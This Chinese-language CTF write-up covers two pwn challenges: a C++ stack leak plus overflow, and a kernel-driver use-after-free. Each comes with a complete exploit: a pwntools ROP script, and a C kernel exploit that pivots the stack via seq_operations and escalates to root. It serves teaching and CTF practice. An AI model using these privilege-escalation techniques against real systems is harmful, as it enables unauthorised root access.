虽然没参加,但不影响我写writeup :)
就看了两道比较感兴趣的题,一道是C++的,一道是内核的。并附带了一些小贴士,防止忘记
string_go
题目
一道C++的题,调用calc计算输入的表达式,如果为结果为3就调用存在漏洞的函数lative_func
刚开始看到时候被calc函数绕了好久,其实不用把calc细节看明白,看函数名就能猜出来它的作用了

lative_func里先输入索引v7,再输入字符串v10,然后将v10中索引为v7的字符修改为新输入到字符并输出,后面是一个明显的memcpy栈溢出

漏洞分析
因为v7是有符号的int类型,所以可以输入-1向上写,而v10上面存的是v10的长度,所以可以将v10的长度修改成大数,造成栈泄露,然后利用下面栈溢出ROP或者直接one gadget
小贴士
调试时使用命令sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
关闭ASLR方便调试
利用glibc-all-in-one和patchelf修改程序的链接库,利用ldd查看修改状态
1 2 3
| patchelf --set-interpreter /home/cy/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so string_go patchelf --replace-needed libc.so.6 /home/cy/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so string_go ldd ./string_go
|
利用ROPgadget可以将libc的汇编代码输出,也可以找到字符串
1 2
| ROPgadget --binary ./libc-2.27.so > rop ROPgadget --binary ./libc-2.27.so --string '/bin/sh'
|
利用one_gadget可以直接找到one gadget
1
| one_gadget ./libc-2.27.so
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import *
p = process('./string_go') libc = ELF('./libc-2.27.so')
p.sendlineafter(">>>", "3") p.sendlineafter(">>>", "-1") p.sendlineafter(">>>", "1") p.sendlineafter(">>>", "1") p.recv() leak = p.recv() libc_base = u64(leak[0xf8:0xf8+8])-0x21bf7 canary = u64(leak[0x38:0x38+8]) rop = "a"*0x18+p64(canary)+p64(0)*3
rop += p64(libc_base+0x215bf) rop += p64(libc_base+0x1b3e1a) rop += p64(libc_base+0x215c0) rop += p64(libc_base+libc.symbols['system'])
p.sendline(rop)
p.interactive()
|
其中rop链里在system之前多加了一个ret,是因为在 x86_64的系统里return回glibc函数时需要确保栈是对齐的,这里的ret就起到了占位的作用,具体参考这里
easykernel
题目
start.sh如下,开启了smep和kaslr保护
1 2 3 4 5 6 7 8 9 10
| #!/bin/sh
qemu-system-x86_64 \ -m 64M \ -cpu kvm64,+smep \ -kernel ./bzImage \ -initrd rootfs.img \ -nographic \ -s \ -append "console=ttyS0 kaslr quiet"
|
驱动提供了增删改查功能
增:commond为0x20,最大只能申请0x20的块

删:command为0x30,free之后没有清零,可以UAF

改:command为0x50

查:命令为0x40,最多可以输出0x100的内容,可以用来泄露地址

漏洞分析
可以将0x20大小的对象放入freelist后打开一个proc文件,此时创建seq_operations结构体从freelist分配对象,利用uaf泄露seq_operations结构体中的指针,再通过修改seq_operations结构体中的指针从而栈迁移,再构造ROP链进行提权
在可以UAF的时候,利用seq_operations结构体,达到泄露地址或执行代码的目的
1 2 3 4 5 6
| struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
|
对proc文件系统进行读取的时候,限制了一次最多读一页,如果超过那么只能多次读取,这样就会增加读取次数从而增加系统调用的次数,影响了效率。所以出现了seq_file
的序列文件出现,该功能使得对于读取大文件更加容易。 至于其中更深层次的细节,我这里就不赘述了,总而言之,试图读取proc文件系统中的文件时,会创建一个seq_file
结构体,作为这个结构体成员的seq_operations
也相应产生。 在打开一个序列文件的时候会调用seq_open
,之后读取文件内容时,seq_operations
的执行顺序为:
1
| start() ==> next() ==> show() ==> ... ==> next() ==> show() ==> stop();
|
打开一个proc文件之后,总是第二个0x20的object被分配给seq_operations
使用,但是我并没有深究第一个是被谁申请的,也并不清楚这在所有内核版本中是否是通用的情况。
利用方法:将0x20大小的对象放到freelist后,打开一个proc文件,比如/proc/self/stat
,然后通过分配到seq_operations结构体的对象泄露内核地址以及设置好寄存器后修改seq_opeartions->start
为类似xchg eax, esp; ret;
的栈迁移gadget,再进行后续的rop提权
可以进行栈迁移的原因是在即将调用seq_operations->start()
的时候rax寄存器中保存的就是这个函数指针,而xchg eax, esp; ret;
会将rsp和rax交换,并只保留低位数据,所以如果事先使用mmap在用户空间分配一个32位的地址空间,其低位与该gadget地址一致,则交换以后rsp指向mmap分配的内存,实现栈迁移
1 2 3 4 5
| rax : 0xffffffffaf1c4878 ◂— xchg eax, esp rsp : 0xffffbb04801ffdb8 (ni) rax : 0x801ffdb8 rsp : 0xaf1c4878(事先用mmap分配0xaf1c4000的内存空间,则可以将栈迁移到可控内存)
|
小贴士
kerpwn_init函数中的misc结构体可以看到驱动的名字和重写的函数


调试时可以把init中自动关机的代码注释掉,id设置为0就可以用root权限调试

设置为root权限后就可以查看驱动的基地址,两个提权用的内核函数地址以及内核基地址
1 2 3 4
| lsmod #驱动的基地址 cat /proc/kallsyms | grep prepare_kernel_cred #prepare_kernel_cred函数地址 cat /proc/kallsyms | grep commit_creds #commit_creds函数地址 cat /proc/kallsyms | grep startup_64 #内核基地址
|
ROPgadget得到的gadget常常有一些无关的指令,可以借助机器码提取要用的指令,也可以直接到ida中搜索需要的机器码,常用机器码如下
1 2 3 4 5 6 7 8 9
| c3 : ret; 0f 22 e7 : mov cr4,rdi; 94 : xchg eax, esp; 50 : push rax; 5f : pop rdi; 5a : pop rdx; 48 89 c7 : mov rdi,rax 0f 01 f8 : swapgs; 48 cf : iretq
|
ROPgadget得到的gadget里没有iretq,可以通过objdump --section .text -d ./vmlinux|grep iretq
找到
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <fcntl.h> #include <signal.h> #include <stdint.h> #include <sys/mman.h> #include <sys/prctl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc91d0; void (*commit_creds)(void*) KERNCALL = (void*) 0xc8d40;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); }
void shell() { if(getuid() == 0){ puts("[+] root!"); system("/bin/sh"); } else{ puts("[-] failed!"); } }
int be_root() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs) ); }
struct node{ size_t idx; size_t len; void *buf; };
int fd;
int add(size_t idx) { return ioctl(fd,0x20,&idx); }
int show(struct node *nodep) { return ioctl(fd,0x40,nodep); }
int delete(size_t idx) { return ioctl(fd,0x30,&idx); }
int edit(struct node *nodep) { return ioctl(fd,0x50,nodep); }
char data[0x300]; int main() { size_t raw_vmlinux_base = 0xffffffff81000000; signal(SIGSEGV, shell); save_stat(); printf("[+]open drive\n"); fd = open("/dev/kerpwn",2); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } struct node node1; node1.buf = malloc(0x100); node1.len = 0x100; node1.idx = 0;
add(0x20); delete(0);
int seq_fd = open("/proc/self/stat", O_RDONLY); if(seq_fd < 0) { puts("[!] open failed"); exit(-1); } show(&node1); printf("[+] Leak address: \n"); for(int i=0;i<0x20/8;i++){ printf("0x%lx\n",*((size_t *)node1.buf+i)); } size_t base=*((size_t *)node1.buf)-0x319d30; size_t offset = base - raw_vmlinux_base; prepare_kernel_cred=base+prepare_kernel_cred; commit_creds=base+commit_creds; size_t xchg_eax_esp = 0xFFFFFFFF811C4878 + offset; size_t pop_rdi=0xFFFFFFFF811CAC04 + offset;; size_t pop_rdx=0xFFFFFFFF819131BA + offset; size_t mov_rdi_rax=0xFFFFFFFF815B27CA + offset; size_t swapgs=base+0xc010bc; size_t iretq=base+0x3a2ab; size_t start = (xchg_eax_esp & 0xfff) / 8; size_t *fake_stack = mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if(fake_stack != (xchg_eax_esp & 0xfffff000)) { puts("[!] mmap failed"); exit(-1); } size_t index = 0; fake_stack[start + index++] = pop_rdi; fake_stack[start + index++] = 0; fake_stack[start + index++] = prepare_kernel_cred; fake_stack[start + index++] = pop_rdx; fake_stack[start + index++] = 0; fake_stack[start + index++] = mov_rdi_rax; fake_stack[start + index++] = commit_creds; fake_stack[start + index++] = swapgs; fake_stack[start + index++] = 0; fake_stack[start + index++] = iretq; fake_stack[start + index++] = &shell; fake_stack[start + index++] = user_cs; fake_stack[start + index++] = user_rflags; fake_stack[start + index++] = user_sp; fake_stack[start + index++] = user_ss; *((size_t *)node1.buf)=(size_t)xchg_eax_esp; node1.len = 0x8; node1.idx = 0; edit(&node1); read(seq_fd, data, 1); return 0; }
|
参考资料:
kernel pwn入门之路(一)
kernel pwn入门之路(三)
Kernel ROP - CTF Wiki